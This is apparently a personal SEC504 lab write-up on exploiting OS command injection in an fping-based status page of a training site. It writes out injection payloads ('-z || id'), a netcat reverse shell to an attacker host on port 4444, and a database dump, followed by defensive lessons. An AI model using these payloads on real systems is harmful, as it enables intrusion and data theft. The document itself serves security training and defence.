SEC504 - Hacker Tools, Techniques, and Incident Handling
OS Command Injection to Reverse Shell
Solo, Lab
Focus: Web Application Security
Level: SEC504
Date: Jul 2026
Artifacts: Sanitized browser and netcat output from the SEC504 web lab against support.falsimentis.com/singlestatus
TL;DR
- •Argument injection (-h returns fping usage) proved the input reached the command line with one harmless request
- •-z || id executed as root: the invalid option forces failure, then || runs the injected command
- •Chained to a reverse shell as root and exfiltrated the SQLite database with .dump
Skills demonstrated
Note: Course-provided PCAPs and lab instructions are not shared. Only my own captures and sanitized notes are published.
Why this matters
Command injection is a direct path from a web input to code execution as whatever user the web process runs as, root here, which is total server compromise. The methodology is the lesson: testing -h first proves the vulnerability with a single harmless request, and choosing || (run on failure) instead of ; or && is more reliable when you can force the base command to fail. This is exactly how I approach an injection sink in a review, confirm the reach before proving impact.
Context
This lab exploits a server-test page that passes user input into an fping command line without sanitization. It works the injection methodically: prove the sink with harmless argument injection first, then escalate to command injection with a failure operator, enumerate, and finish with a reverse shell running as root. The disciplined progression (argument injection before shell metacharacters) is the part worth learning.
Tools used
Steps taken
1Find and exercise the endpoint
robots.txt pointed at /singlestatus. The page (For Official Use Only) takes a target and returns fping output (packet counts, min/avg/max). Normal input produces normal output; the question is whether that input reaches a shell.
$ curl http://support.falsimentis.com/robots.txt
$ # browse /singlestatus?target=10.10.75.1The page runs fping against the target parameter2Prove the sink with argument injection
Before any shell metacharacter, submitting target=-h returned fping's full usage text. That single harmless response proves user input is placed on the fping command line unsanitized. Argument injection confirms the vulnerability without risking anything.
$ # /singlestatus?target=-h-h is interpreted as an fping flaginput reaches the command line3Escalate to command injection
A colon payload failed (not a shell separator here). The working payload was -z || id: the invalid -z option makes fping exit non-zero, and || then runs id, which returned uid=0(root) gid=0(root). Forcing the base command to fail makes || fire reliably.
$ # /singlestatus?target=-z || idInvalid -z forces failure; || runs id -> uid=0(root)4Enumerate the application
-z || ls listed the app directory: app.py, db.sqlite3, config.py, templates, trainbot.py, and more. -z || which nc confirmed /usr/bin/nc (netcat was installed, which the sibling IDOR lab's build.log had already revealed).
$ # /singlestatus?target=-z || ls
$ # /singlestatus?target=-z || which ncEnumerate the source and confirm a tool for the next step5Open a reverse shell as root
With netcat present, a listener on the attacker (nc -l -v -p 4444) plus the payload -z || nc 10.10.75.1 4444 -e /bin/sh produced a connection from support.falsimentis.com running as root. A web input became an interactive root shell.
$ # attacker: nc -l -v -p 4444
$ # /singlestatus?target=-z || nc 10.10.75.1 4444 -e /bin/sh-e /bin/sh binds the shell; connection runs as the web process user (root)6Exfiltrate the database
In the root shell, sqlite3 db.sqlite3 .dump printed the full schema and data (the chatbot's tag and statement tables, its training corpus). Command injection to root is complete server compromise, and the local database is right there.
$ sqlite3 db.sqlite3 ".dump".dumpfull schema + data exportKey findings
Outcome / Lessons learned
Turned an unsanitized fping parameter into a root reverse shell by confirming the sink with argument injection (-h), escalating with the -z || failure-operator technique, and exfiltrating the SQLite database. A single web input became complete server compromise as root.
Never pass user input to a shell: use a library or a direct syscall (an ICMP library instead of shelling out to fping), and if a command must be built, use an argument array with no shell interpretation and a strict allowlist for the target (validate it is an IP or hostname). Run the web process as an unprivileged user, not root, so injection does not immediately mean full compromise. Add a WAF rule and alerting for shell metacharacters in the target parameter.
Security controls relevant
- No shell invocation on user input (library calls / argv arrays)
- Strict input validation (allowlist IP/hostname)
- Least-privilege web process (not root)
- WAF rules for shell metacharacters
- Egress filtering to block reverse-shell callbacks
What I took away from this
The methodology is the takeaway: prove reach before proving impact. Submitting -h and getting fping's usage back is a harmless request that conclusively demonstrates the input hits the command line. Only then does it make sense to reach for shell operators. In a review, that ordering keeps you from firing destructive payloads to answer a question a benign one already settles.
|| is the reliable operator when you can force the base command to fail. ; always runs the second command and && only runs it on success, but || runs it precisely when the first command errors, and an invalid flag like -z guarantees that error. Combined with a web process running as root, the result is that one carefully chosen query string yields an interactive root shell. Running the web app unprivileged would not fix the injection, but it would turn a catastrophe into a contained one.